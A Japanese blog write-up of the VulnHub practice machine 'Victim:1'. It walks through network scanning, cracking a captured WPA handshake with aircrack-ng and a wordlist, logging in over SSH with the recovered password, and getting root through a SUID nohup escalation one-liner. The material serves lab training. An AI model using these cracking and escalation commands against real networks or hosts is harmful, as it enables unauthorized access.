0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】Victim01:Writeup

Posted at

概要

VulnHub「Victim:1」のWriteupです。

Flag

ターゲットマシンのIPアドレスを特定します。

$sudo netdiscover -i enp0s8 -r 192.168.178.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.178.1   0a:00:27:00:00:08      1      60  Unknown vendor              
 192.168.178.2   08:00:27:10:4b:89      1      60  PCS Systemtechnik GmbH      
 192.168.178.24  08:00:27:95:0d:4a      1      60  PCS Systemtechnik GmbH

192.168.178.1は、Virtual BoxのホストオンリーアダプターのIPです。
192.168.178.2は。DHCPサーバーのIPアドレスです。
192.168.178.24が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.24 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:e8:15:7d:8a:74:bc:45:09:76:34:13:2c:d8:1e:62 (RSA)
|   256 51:75:37:23:b6:0f:7d:ed:61:a0:61:18:21:89:35:5d (ECDSA)
|_  256 7d:36:08:ba:91:ef:24:9f:7b:24:f6:64:c7:53:2c:b0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    BusyBox httpd 1.13
|_http-title: 404 Not Found
8999/tcp open  http    WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: 0.0.0.0:8999/
9000/tcp open  http    PHP cli server 5.5 or later (PHP 7.2.30-1)
|_http-title: Uncaught Exception: MissingDatabaseExtensionException
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.29
8080 http BusyBox 1.13
8999 http webFS 1.21
9000 http PHP cli server 5.5 or later

8999番ポートにアクセスすると、ディレクトリリスティングが有効になっています。

image.png

WPA-01.capファイルをダウンロードし、Wiresharkで開きます。

image.png

No.1のパケットを確認すると、IEEE 802.11 Wireless LANとあるので無線LANのパケットだと分かります。

image.png

SSIDはdlinkだと分かりました。

image.png

また、暗号化方式がWPA1だと分かりました。

image.png

Aircrack-ngでパスワード解析に成功しました。

$aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt

Aircrack-ng 1.7 

      [00:00:06] 72111/14344392 keys tested (13008.71 k/s) 

      Time left: 18 minutes, 17 seconds                          0.50%

                           KEY FOUND! [ p4ssword ]


      Master Key     : 8F C0 1B 1B 85 06 0B 85 23 7C 83 74 F8 4B 4A FD 
                       50 CE EC 72 6F 85 17 5F B1 14 5E D2 F2 47 5D 1A 

      Transient Key  : 13 41 36 81 4A 92 19 CF EC 14 B8 FD 20 2C D4 2E 
                       BA A1 95 79 CE 15 5F 1A 2C DE 03 A8 2B 52 68 64 
                       D3 77 A7 E4 FF CD 49 0C ED E9 5E 3B 68 E6 83 26 
                       06 0C 98 8D 43 B6 7C E4 FE ED 2E 45 90 0D 6D 15 

      EAPOL HMAC     : 33 A5 CE E2 46 DB 4B 96 86 A1 6E D9 D2 A2 A6 E9

Username:dlink,Password:p4sswordでSSH接続に成功しました。

$ssh dlink@192.168.178.24
dlink@victim01:~$

SUIDが設定されたプログラムを検索すると、/usr/bin/nohupが見つかりました。

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/nohup

GTFOBinsで権限昇格のテクニックが見つかりました。

/usr/bin/nohupを使用し、権限昇格に成功しました。

$ /usr/bin/nohup /bin/bash -p -c "bash -p <$(tty) >$(tty) 2>$(tty)"
/usr/bin/nohup: ignoring input and appending output to 'nohup.out'
bash-4.4# whoami
root

/root/flag.txtからルートフラグを入手できました。

/root/flag.txt
Nice work!

                .:##:::.
              .:::::/;;\:.
        ()::::::@::/;;#;|:.
        ::::##::::|;;##;|::
         ':::::::::\;;;/::'
              ':::::::::::
               |O|O|O|O|O|O
               :#:::::::##::.
              .:###:::::#:::::.
              :::##:::::::::::#:.
               ::::;:::::::::###::.
               ':::;::###::;::#:::::
                ::::;::#::;::::::::::
                :##:;::::::;::::###:::     .
              .:::::; .:::##::::::::::::::::
              ::::::; :::::::::::::::::##::  #rootdance
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?